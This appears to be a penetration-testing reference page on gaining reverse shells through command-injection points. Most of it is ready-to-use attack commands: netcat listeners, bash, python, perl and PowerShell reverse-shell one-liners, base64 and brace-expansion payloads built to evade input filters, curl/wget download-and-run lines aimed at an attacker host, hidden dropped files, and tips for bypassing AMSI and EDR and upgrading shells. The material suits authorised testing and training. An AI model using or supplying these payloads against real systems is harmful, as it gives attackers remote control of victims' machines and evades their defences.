Skip to content

Reverse shells

Spawn a listener locally, send a single-line payload through the injection point that calls back to it. Base64-wrap the payload to survive filters and URL transit.

Terminal window
# Listener
nc -lvnp <LPORT>
# Linux payload (bash TCP)
;bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'
# Linux payload (base64-wrapped, filter-resistant)
;bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC88TEhPU1Q+LzxMUE9SVD4gMD4mMQ==}|{base64,-d}|{bash,-i}'
# Windows payload (PowerShell TCP)
;powershell -nop -w hidden -c "$c=New-Object Net.Sockets.TCPClient('<LHOST>',<LPORT>);..."

Success indicator: connection inbound on your listener, prompt arrives.

Pick one. Stick with it for the engagement.

Terminal window
nc -lvnp 4444 # universal, no TTY features
ncat -lvnp 4444 # nmap's nc, slightly nicer
ncat --ssl -lvnp 4444 # TLS listener (for ssl-capable callbacks)
rlwrap nc -lvnp 4444 # readline support - arrows, history
pwncat-cs -lp 4444 # auto TTY upgrade, file transfer

pwncat-cs is worth the install - it handles TTY upgrade, port forwarding, and file transfer automatically. rlwrap nc is the minimum civilized option.

Terminal window
;bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'

Works on most distros. /dev/tcp is a bash feature, not a real device - fails if the shell is dash or busybox.

bash with explicit redirect (clearer intent)

Section titled “bash with explicit redirect (clearer intent)”
Terminal window
;bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1

Same effect, no bash -c wrapper. Use when the injection point already runs through bash and you want fewer quote escapes.

Terminal window
;{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC88TEhPU1Q+LzxMUE9SVD4gMD4mMQ==}|{base64,-d}|{bash,-i}

The {a,b} brace expansion injects spaces without using the space character - defeats space filters. Encode bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1 with <LHOST> and <LPORT> substituted before encoding:

Terminal window
echo -n 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1' | base64 -w0
Terminal window
;python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("<LHOST>",<LPORT>));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("/bin/sh")'

Uses pty.spawn - the resulting shell already has partial TTY features, less work after callback.

Terminal window
;nc -e /bin/sh <LHOST> <LPORT>

Most distro builds of nc lack -e for security. Test once; if it fails, don’t waste another request.

Terminal window
;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <LHOST> <LPORT> >/tmp/f

Works when nc is -e-stripped. Leaves /tmp/f behind - clean it up.

Terminal window
;perl -e 'use Socket;$i="<LHOST>";$p=<LPORT>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

The injection point typically can’t take a multi-line script and frequently filters spaces, slashes, or quotes. Three patterns get you around this.

Encode the entire payload, decode at runtime:

Terminal window
# Step 1: encode
echo -n 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1' | base64 -w0
# Output: YmFzaCAtaSA+Ji...
# Step 2: deliver
;bash -c "$(echo YmFzaCAtaSA+Ji... | base64 -d)"
# Or with bash herestring (no pipe character):
;bash<<<$(base64 -d<<<YmFzaCAtaSA+Ji...)

The herestring form avoids |, useful when pipe is filtered.

When the payload is too long for the field:

Terminal window
;curl <ATTACKER>/r.sh|bash
;wget -qO- <ATTACKER>/r.sh|bash
;curl -s <ATTACKER>/r.sh|sh # if bash is filtered

Host r.sh containing the actual payload via python3 -m http.server 80.

When outbound is blocked but you can write to disk:

Terminal window
;echo 'YmFzaCAtaSA+Ji...' | base64 -d > /tmp/.r;chmod +x /tmp/.r;/tmp/.r

nc callbacks are dumb shells. Upgrade them so Ctrl+C doesn’t kill the session and tab completion works.

Inside the dumb shell:

Terminal window
python3 -c 'import pty;pty.spawn("/bin/bash")' # spawn a PTY
# then: Ctrl+Z to background nc

On your local machine:

Terminal window
stty raw -echo; fg # raw mode, foreground nc
# press Enter twice
export TERM=xterm-256color
stty rows <N> cols <M> # match your terminal

Get rows/cols by running stty size in a fresh local terminal first.

Modern alternative - pwncat-cs does all of this automatically:

Terminal window
pwncat-cs -lp <LPORT>
  • Listener doesn’t receive connection. Check the firewall on your end first (sudo ufw allow <LPORT> or equivalent). Then check the target can route outbound: send a curl <ATTACKER> probe before the shell payload to verify outbound 80/443 works.
  • /dev/tcp doesn’t exist. Target shell is dash, busybox, or restricted. Fall back to python, perl, or download-and-run a static nc.
  • Shell connects then dies. PHP’s system() waits for the child; the page request times out and the worker is killed, taking your shell with it. Detach the child: ;bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1' & (note the trailing &) or ;nohup bash -c '...' &.
  • PowerShell payload blocked by AMSI. Modern Windows scans PowerShell strings before execution. Encoded commands sometimes bypass simple AMSI; sophisticated EDR catches them anyway. Move to a binary loader (msfvenom-generated .exe delivered via certutil) or use Invoke-Obfuscation on the script.
  • Reverse shell connects but no prompt. PHP/Node sometimes captures stdout and never returns it. The shell is alive on the listener; type a command and press Enter to see if it responds. If not, the back-end is buffering - try python3 -c 'import pty;pty.spawn("/bin/bash")' blindly.
  • Quotes mangled by URL encoding. Single and double quotes in the payload survive URL transit but break inside nested shells. Use \u0027 substitution, base64-wrap the whole thing, or stage with download-and-run.

The cmdi-specific problem is delivery, not catalog. Once the callback lands, you have a regular shell - every post-exploitation technique applies, every shell upgrade trick works, and platform-specific payload variants (the dozens of bash/python/perl/php/ruby variants) are not unique to command injection. Pick one delivery payload, get the callback, then operate normally.